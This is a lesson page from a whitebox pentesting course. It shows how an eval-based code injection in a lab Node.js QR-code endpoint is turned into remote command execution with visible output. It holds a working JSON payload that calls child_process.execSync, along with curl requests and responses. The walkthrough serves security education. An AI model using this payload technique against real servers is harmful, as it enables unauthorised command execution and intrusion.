Intro to Whitebox Pentesting
HTTP Response Injection
Based on our understanding of the code, we know that the following are the possible responses in the /generate/ endpoint:
-
403-Unauthorized -
403-Invalid input(non admins) -
403- verbose message (admins) -
500-Could not generate QR code(general errors)
We can skip the first two, as admin authentication is required to reach the vulnerable line of code. We have also already seen the latter two possibilities, the first when using a bad character, and the second is what we keep getting with our code injection requests. The last one is a static text, so we can't add the output to it, leaving us with one option (verbose error message). Let's see if we can control it.
We know that the message parameter gets displayed to us "in normal cases", and we have already confirmed injection within this parameter. However, we keep getting the 500 response with our code injection requests, so let's try to see why.
Controlling the Response
If we review the catch block within the function, we see the following:
try {
// ...SNIP...
} catch (e) {
if (e.statusCode === 403) {
return next(e);
} else {
return next({
message: "Could not generate QR code.",
statusCode: 500,
});
}
}
As we can see, to get the e message displayed, we need the statusCode to be 403. In our injection requests, we are closing the throw call at message and not providing any statusCode, which may be why we are not getting the message displayed to us.
So, let's try sending a basic injection request that adds statusCode and then commenting out the rest without injecting any additional code. The payload would be the following:
{
"text": "test message', statusCode: 403})//"
}
If we send a request with this payload, we do indeed get test message displayed back to us:
[!bash!]$ curl -s -X POST -H "Content-Type: application/json" -H "Authorization: bearer eyJhbGciOiJIUz...SNIP...1YLEvDs4SR7RHfQ" -d "{ \"text\": \"test message', statusCode: 403})//\" }" http://localhost:5000/api/service/generate
{"message":"The input \"test message"}
Great! Now, we need to see if we can replace the string test message with the output of our command.
Injecting the Output
As we have learned throughout this module, the trial & error approach in building working payloads is not ideal and takes a lot of time to get a working payload. So, we will once again start with the source code and build our payload by modifying it. We know from the last section in the local testing step that the following is the onError string being executed by eval:
throw({message: 'The input ";" contains the following invalid characters: [;]', statusCode: 403})
Once we inject the previous payload, it would look like the following:
throw({message: 'The input "test message', statusCode: 403})//" contains the following invalid characters: [;]', statusCode: 403})
We need to add to the message string before adding the statusCode parameter. We must also close the message string with a final single-quote ' to satisfy the even quotes/parentheses rule we discussed previously. When we put this together, this would be our payload
{
"text": "' + require('child_process').execSync('ls').toString() + `'`, statusCode: 403})//"
}
Note: This time, we used backticks instead of quotes to avoid complicating the JSON body with multiple escaped double quotes. We must also escape them in the curl command to avoid breaking the bash command. This is why it is best to start scripting our attack when the payloads start getting complicated, as it would be difficult to track every special character manually within the JSON payload and the curl command.
At this point, the final onError string executed by eval is the following:
throw({message: 'The input "' + require('child_process').execSync('ls').toString() + `'`, statusCode: 403})//" contains the following invalid characters: [;]', statusCode: 403})
This appears to be a working JavaScript code, so let's send our payload and see whether we get the output:
[!bash!]$ curl ...SNIP... http://localhost:5000/api/service/generate
{"message":"The input \"node_modules\npackage-lock.json\npackage.json\nsrc\n'"}
Success! We are finally able to remotely obtain the output of our commands. We will automate all of this when developing our final PoC exploit. In the next section, we will test another method to obtain commands' output for cases where even this method may not work.
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
+10 Streak pts
Table of Contents
Intro to Whitebox PentestingWhitebox Pentesting Process
Whitebox Pentesting Process Code review Local Testing Proof of Concept Patching & RemediationCode Review
Code Review - Authentication Code Review - ServicesLocal Testing
Planning Eval Injection Target Function Code InjectionProof of Concept (PoC)
Command Execution HTTP Response Injection Blind Exploitation Exploit DevelopmentPatching & Remediation
Patching & RemediationSkills Assessment
Skills Assessment - Intro to Whitebox PentestingMy Workstation
OFFLINE
/ 1 spawns left